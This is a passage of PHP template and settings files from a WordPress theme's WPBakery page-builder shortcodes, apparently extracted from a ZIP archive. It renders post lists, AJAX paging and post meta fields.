		}
		$link_group_out_before .= '<li class="all ' . $first_class . '"><a ' . $df_datamax . 'data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#">' . $settings['group_more_defaultab_text'] . '</a></li>';

		wp_enqueue_script( 'penci_ajax_filter_slist' );
		echo $link_group_out_before . $link_group_out . $link_group_out_after;
	}
} );

if ( 'none' !== 'paging' ) {
	$ajax_data          = $settings;
	$ajax_data['query'] = $args;
	\Soledad_VC_Shortcodes::get_block_script( $settings['blockid'], $ajax_data );
}
$block_id = Penci_Vc_Helper::get_unique_id_block( 'small_list' );
?>
    <div id="<?php echo $block_id; ?>" class="penci-wrapper-smalllist">
		<?php Penci_Vc_Helper::markup_block_title( $settings ); ?>
		<?php
		if ( ! $query_smalllist->have_posts() ) {
			echo '<p>' . penci_get_setting( 'penci_ajaxsearch_no_post' ) . '</p>';
		}

		?>
        <div class="penci-smalllist-wrapper">
			<?php
			if ( $query_smalllist->have_posts() ) {
				?>
                <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                    <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>

						<?php
						$item_class = ' normal-item';
						if ( 'crs' == $type ) {
							echo '<div class="swiper-wrapper">';
							$item_class = ' swiper-slide';
						}
						while ( $query_smalllist->have_posts() ) : $query_smalllist->the_post(); ?>
                            <div class="pcsl-item<?php if ( 'yes' == $settings['hide_thumb'] || ! has_post_thumbnail() ) {
								echo ' pcsl-nothumb';
							}
							echo $item_class; ?>">
                                <div class="pcsl-itemin">
                                    <div class="pcsl-iteminer">
										<?php if ( in_array( 'date', $post_meta ) && 'nlist' == $type ) { ?>
                                            <div class="pcsl-date pcsl-dpos-<?php echo $date_pos; ?>">
                                                <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
                                            </div>
										<?php } ?>

										<?php if ( 'yes' != $settings['hide_thumb'] && has_post_thumbnail() ) { ?>
                                            <div class="pcsl-thumb">
												<?php
												do_action( 'penci_bookmark_post', get_the_ID(), 'small' );
												/* Display Review Piechart  */
												if ( 'yes' == $settings['show_reviewpie'] && function_exists( 'penci_display_piechart_review_html' ) ) {
													penci_display_piechart_review_html( get_the_ID(), 'small' );
												}
												?>
												<?php if ( 'yes' == $settings['show_formaticon'] ): ?>
													<?php if ( has_post_format( 'video' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'audio' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'link' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
													<?php endif; ?>
													<?php if ( has_post_format( 'quote' ) ) : ?>
                                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
													<?php endif; ?>
												<?php endif; ?>
												<?php if ( 'yes' != $settings['disable_lazy'] ) { ?>
                                                    <a href="<?php the_permalink(); ?>"
                                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                       class="penci-image-holder penci-lazy"<?php if ( 'yes' == $settings['nocrop'] ) {
														echo ' style="padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%"';
													} ?>
                                                       data-bgset="<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>">
                                                    </a>
												<?php } else { ?>
                                                    <a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                       href="<?php the_permalink(); ?>" class="penci-image-holder"
                                                       style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbnail ); ?>');<?php if ( 'yes' == $settings['nocrop'] ) {
														   echo 'padding-bottom: ' . penci_get_featured_image_padding_markup( get_the_ID(), $thumbnail, true ) . '%';
													   } ?>">
                                                    </a>
												<?php } ?>
                                            </div>
										<?php } ?>
                                        <div class="pcsl-content">
											<?php if ( in_array( 'cat', $post_meta ) ) : ?>
                                                <div class="cat pcsl-cat">
													<?php penci_category( '', $primary_cat ); ?>
                                                </div>
											<?php endif; ?>

											<?php if ( in_array( 'title', $post_meta ) ) : ?>
                                                <div class="pcsl-title">
                                                    <a href="<?php the_permalink(); ?>"<?php if ( $title_length ): echo ' title="' . wp_strip_all_tags( get_the_title() ) . '"'; endif; ?>><?php if ( ! $title_length ) {
															the_title();
														} else {
															echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
														} ?></a>
                                                </div>
											<?php endif; ?>

											<?php if ( $settings['cspost_enable'] || ( count( array_intersect( array(
														'author',
														'date',
														'comment',
														'views',
														'reading'
													), $post_meta ) ) > 0 && 'nlist' != $type ) || ( count( array_intersect( array(
														'author',
														'comment',
														'views',
														'reading'
													), $post_meta ) ) > 0 && 'nlist' == $type ) ) { ?>
                                                <div class="grid-post-box-meta pcsl-meta">
													<?php if ( in_array( 'author', $post_meta ) ) : ?>
                                                        <span class="sl-date-author author-italic">
													<?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                    class="url fn n"
                                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
													</span>
													<?php endif; ?>
													<?php if ( in_array( 'date', $post_meta ) && 'nlist' != $type ) : ?>
                                                        <span class="sl-date"><?php penci_soledad_time_link( null, $dformat ); ?></span>
													<?php endif; ?>
													<?php if ( in_array( 'comment', $post_meta ) ) : ?>
                                                        <span class="sl-comment">
												<a href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a>
											</span>
													<?php endif; ?>
													<?php
													if ( in_array( 'views', $post_meta ) ) {
														echo '<span class="sl-views">';
														echo penci_get_post_views( get_the_ID() );
														echo ' ' . penci_get_setting( 'penci_trans_countviews' );
														echo '</span>';
													}
													?>
													<?php
													$hide_readtime = in_array( 'reading', $post_meta ) ? false : true;
													if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                                                        <span class="sl-readtime"><?php penci_reading_time(); ?></span>
													<?php endif; ?>
													<?php echo penci_show_custom_meta_fields( [
														'validator' => $settings['cspost_enable'],
														'keys'      => $settings['cspost_cpost_meta'],
														'acf'       => $settings['cspost_cpost_acf_meta'],
														'label'     => $settings['cspost_cpost_meta_label'],
														'divider'   => $settings['cspost_cpost_meta_divider'],
													] ); ?>
													<?php do_action( 'penci_extra_meta' ); ?>
                                                </div>
											<?php } ?>

											<?php if ( 'yes' == $settings['show_excerpt'] && 'side' == $excerpt_pos ) { ?>
                                                <div class="pcbg-pexcerpt pcsl-pexcerpt">
													<?php penci_the_excerpt( $excerpt_length ); ?>
                                                </div>
											<?php } ?>
											<?php if ( 'yes' == $settings['show_readmore'] && 'side' == $excerpt_pos ) { ?>
                                                <div class="pcsl-readmore">
                                                    <a href="<?php the_permalink(); ?>"
                                                       class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
														<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                    </a>
                                                </div>
											<?php } ?>
                                        </div>

										<?php if ( ( 'yes' == $settings['show_excerpt'] || 'yes' == $settings['show_readmore'] ) && 'below' == $excerpt_pos ) { ?>
                                            <div class="pcsl-flex-full">
												<?php if ( 'yes' == $settings['show_excerpt'] ) { ?>
                                                    <div class="pcbg-pexcerpt pcsl-pexcerpt">
														<?php penci_the_excerpt( $excerpt_length ); ?>
                                                    </div>
												<?php } ?>
												<?php if ( 'yes' == $settings['show_readmore'] ) { ?>
                                                    <div class="pcsl-readmore">
                                                        <a href="<?php the_permalink(); ?>"
                                                           class="pcsl-readmorebtn pcsl-btns-<?php echo $rmstyle; ?>">
															<?php echo penci_get_setting( 'penci_trans_read_more' ); ?>
                                                        </a>
                                                    </div>
												<?php } ?>
                                            </div>
										<?php } ?>
                                    </div>
                                </div>
                            </div>
						<?php endwhile;
						if ( 'crs' == $type ) {
							echo '</div>';
						}
						?>
                    </div>

					<?php
					if ( 'loadmore' == $paging || 'scroll' == $paging ) {
						$data_settings          = array();
						$data_settings['query'] = $args;
						$data_paged             = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

						$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

						$button_class = ' penci-ajax-more penci-slajax-more-click';
						if ( 'loadmore' == $paging ):
							wp_enqueue_script( 'penci_slajax_more_posts' );
						endif;
						if ( 'scroll' == $paging ):
							$button_class = ' penci-ajax-more penci-slajax-more-scroll';
							wp_enqueue_script( 'penci_slajax_more_scroll' );
						endif;
						$data_archive_type  = '';
						$data_archive_value = '';
						if ( is_category() ) :
							$category           = get_category( get_query_var( 'cat' ) );
							$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
							$data_archive_type  = 'cat';
							$data_archive_value = $cat_id;
							$opt_cat            = 'category_' . $cat_id;
							$cat_meta           = get_option( $opt_cat );
							$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
							if ( $sidebar_opts == 'no' ):
								$data_template = 'no-sidebar';
                            elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
								$data_template = 'sidebar';
							endif;

                        elseif ( is_tag() ) :
							$tag                = get_queried_object();
							$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
							$data_archive_type  = 'tag';
							$data_archive_value = $tag_id;
                        elseif ( is_day() ) :
							$data_archive_type  = 'day';
							$data_archive_value = get_the_date( 'm|d|Y' );
                        elseif ( is_month() ) :
							$data_archive_type  = 'month';
							$data_archive_value = get_the_date( 'm|d|Y' );
                        elseif ( is_year() ) :
							$data_archive_type  = 'year';
							$data_archive_value = get_the_date( 'm|d|Y' );
                        elseif ( is_search() ) :
							$data_archive_type  = 'search';
							$data_archive_value = get_search_query();
                        elseif ( is_author() ) :

							global $authordata;
							$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

							$data_archive_type  = 'author';
							$data_archive_value = $user_id;
                        elseif ( is_archive() ) :
							$queried_object = get_queried_object();
							$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
							$tax            = get_taxonomy( get_queried_object()->taxonomy );
							$tax_name       = isset( $tax->name ) ? $tax->name : '';

							if ( $term_id && $tax_name ) {
								$data_archive_type  = $tax_name;
								$data_archive_value = $term_id;
							}
						endif;
						?>
                        <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                            <a class="penci-ajax-more-button" href="#"
								<?php if ( $data_archive_type && $data_archive_value ): ?>
                                    data-archivetype="<?php echo $data_archive_type; ?>"
                                    data-archivevalue="<?php echo $data_archive_value; ?>"
                                    data-arppp="<?php echo $ppp; ?>"
								<?php endif; ?>
                               data-blockid="<?php echo $settings['blockid']; ?>"
                               data-query_type="<?php echo $archive_buider_check; ?>"
                               data-settings="<?php echo $data_settings_ajax; ?>"
                               data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                               data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                        class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                            </a>
                        </div>
						<?php
					} elseif ( 'numbers' == $paging ) {
						echo penci_pagination_numbers( $query_smalllist, $paging_align );
					}
					?>

                </div>
				<?php
			} /* End check if query exists posts */
			if ( $settings['biggrid_ajaxfilter_cat'] || $settings['biggrid_ajaxfilter_tag'] || $settings['biggrid_ajaxfilter_author'] || 'nextprev' == $settings['paging'] ) {
				echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
			}
			?>
        </div>
    </div>
<?php
wp_reset_postdata();

$block_id_css  = '#' . $block_id;
$block_id_css2 = '#' . $block_id;
$css_custom    = Penci_Vc_Helper::get_heading_block_css( $block_id_css, $settings );

if ( $settings['title_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a{ color: ' . esc_attr( $settings['title_color'] ) . '; }';
}
if ( $settings['title_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-content .pcsl-title a:hover{ color: ' . esc_attr( $settings['title_hcolor'] ) . '; }';
}
if ( $settings['date_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcsl-hdate .pcsl-date span{ color: ' . esc_attr( $settings['date_color'] ) . '; }';
}
if ( $settings['meta_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span{ color: ' . esc_attr( $settings['ppcount_color'] ) . '; }';
}
if ( $settings['link_color'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a{ color: ' . esc_attr( $settings['links_color'] ) . '; }';
}
if ( $settings['link_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' .grid-post-box-meta span a:hover{ color: ' . esc_attr( $settings['links_hcolor'] ) . '; }';
}
if ( $settings['excerpt_color'] ) {
	$css_custom .= $block_id_css2 . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p{ color: ' . esc_attr( $settings['excerpt_color'] ) . '; }';
}
if ( $settings['title_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcbg-pexcerpt, ' . $block_id_css . ' .pcbg-pexcerpt p', 'font-size', $settings['title_fize'] );
}
if ( $settings['meta_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .grid-post-box-meta span', 'font-size', $settings['meta_fize'] );
}
if ( $settings['date_fize'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id_css . ' .pcsl-hdate .pcsl-date span', 'font-size', $settings['meta_fize'] );
}

if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $settings['responsive_spacing'] );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $block_id_css, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\6G(}  }  8  js_composer/shortcodes/pc_single_meta_field/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_meta_field",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_meta_field/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Meta Field', 'soledad' ),
	'description'   => 'Show custom field data',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Meta Source', 'soledad' ),
			'param_name'       => 'meta_source',
			'value'            => array(
				'Custom Field'          => 'custom',
				'Advanced Custom Field' => 'acf',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'cspost_cpost_meta',
			'heading'    => esc_html__( 'Custom Post Meta Keys', 'soledad' ),
		),
		array(
			'type'        => 'autocomplete',
			'param_name'  => 'cspost_cpost_acf_meta',
			'heading'     => esc_html__( 'Custom Post ACF Meta Keys', 'soledad' ),
			'description' => 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.',
			'settings'    => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'values'         => Penci_Vc_Params_Helper::penci_get_meta_list()
			),
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Meta Label Text', 'soledad' ),
			'param_name'       => 'meta_label',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Justify Align?', 'soledad' ),
			'param_name'       => 'justify_align',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Icon Style', 'soledad' ),
			'param_name'       => 'meta_icon_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Text Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'meta-link-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'meta-link-hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Meta Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_mt_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Border Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bd_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\!  !  8  js_composer/shortcodes/pc_single_meta_field/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_meta' );
$css_custom = '';
global $post;
$label = $settings['meta_label'] ? '<span class="label">' . $settings['meta_label'] . '</span>' : '';

$meta = $meta_key = '';

if ( 'custom' == $settings['meta_source'] && $settings['meta'] ) {
	$meta_key = $settings['meta'];
}

if ( 'acf' == $settings['meta_source'] && $settings['acf'] ) {
	$meta_key = $settings['acf'];
}

$meta = get_post_meta( get_the_ID(), $meta_key, true );

$filed_type = penci_get_field_type( $meta_key );

if ( 'image' == $filed_type && is_numeric( $meta ) ) {
	$meta = wp_get_attachment_image( $meta );
}

if ( $meta ) {
	?>
    <div class="post-box-meta-single style-<?php echo esc_attr( $settings['meta_icon_style'] ); ?>">
            <span>
	            <?php echo $label; ?>
            <span class="content"><?php echo do_shortcode( $meta ); ?></span></span>
    </div>
	<?php
}
$css = [
	'penci_single_meta_gnr_color'      => [
		'{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}'
	],
	'penci_single_meta_gnr_icon_color' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ],
	'penci_single_meta_gnr_bg_color'   => [
		'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
		'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
		'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

	],
	'meta-link-color'                  => [
		'{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}'
	],
	'meta-link-hcolor'                 => [
		'{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}'
	],
	'penci_single_meta_mt_bg_color'                 => [
		'{{WRAPPER}} .post-box-meta-single' => 'background-color:{{VALUE}}'
	],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     0w\PT   T   2  js_composer/shortcodes/pc_single_meta/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_meta",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_meta/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Meta', 'soledad' ),
	'description'   => 'Post Builder - Meta',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'meta_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Meta Label Text', 'soledad' ),
			'param_name'       => 'hide_meta_label',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Justify Align?', 'soledad' ),
			'param_name'       => 'justify_align',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Divider Character', 'soledad' ),
			'param_name'       => 'remove-divider',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Spacing Between Meta', 'soledad' ),
			'param_name'       => 'meta-item-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author', 'soledad' ),
			'param_name'       => 'penci_single_meta_author',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Author Avatar', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Borders Radius', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_br',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Spacing', 'soledad' ),
			'param_name'       => 'penci_single_author_avatar_sp',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Width', 'soledad' ),
			'param_name'       => 'penci_avatar_w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'param_name'       => 'penci_single_meta_ava_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date', 'soledad' ),
			'param_name'       => 'penci_single_meta_date',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Date Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_date_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Comment Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_comment_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View', 'soledad' ),
			'param_name'       => 'penci_single_show_cview',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post View Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_view_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time', 'soledad' ),
			'param_name'       => 'penci_single_hreadtime',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Reading Time Icon', 'soledad' ),
			'param_name'       => 'penci_single_meta_reading_icon_check',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Icon Style', 'soledad' ),
			'param_name'       => 'meta_icon_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Border Color', 'soledad' ),
			'param_name'       => 'penci_single_meta_gnr_bd_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Text Color', 'soledad' ),
			'param_name'       => 'meta-author-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Color', 'soledad' ),
			'param_name'       => 'meta-author-lcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Link Hover Color', 'soledad' ),
			'param_name'       => 'meta-author-hcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'meta-pdate-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Comment Color', 'soledad' ),
			'param_name'       => 'meta-pcomment-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post View Color', 'soledad' ),
			'param_name'       => 'meta-pview-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Reading Color', 'soledad' ),
			'param_name'       => 'meta-preading-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\)6Y    2  js_composer/shortcodes/pc_single_meta/frontend.phpnu [        <?php
$settings      = vc_map_get_attributes( $this->getShortcode(), $atts );
$css_class     = vc_shortcode_custom_css_class( $settings['css'] );
$block_id      = Penci_Vc_Helper::get_unique_id_block( 'pc_single_meta' );
$css_custom    = '';
$hide_readtime = $settings['penci_single_hreadtime'];
$avatar        = $settings['penci_single_author_avatar'];
$avatarw       = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
$icon_style    = $settings['meta_icon_style'];
$label_text    = $settings['hide_meta_label'];
global $post;
?>
    <div id="<?php echo $block_id; ?>"
         class="post-box-meta-single style-<?php echo esc_attr( $icon_style . ' ' . $css_class ); ?>">
		<?php if ( ! $settings['penci_single_meta_author'] ) :
			?>
            <span class="author-post byline">
                    <span class="author vcard">
	                    <?php if ( ! $label_text ) {
		                    echo penci_get_setting( 'penci_trans_written_by' );
	                    } ?>
	                    <?php
	                    $author_ids = [];
	                    $author     = get_post_field( 'post_author', get_the_ID() );
	                    if ( $author ) {
		                    $author_ids[] = $author;
	                    }
	                    if ( function_exists( 'coauthors__echo' ) ) {
		                    $author_list = coauthors__echo( 'ID', 'field', array(
			                    'between'     => ',',
			                    'betweenLast' => ',',
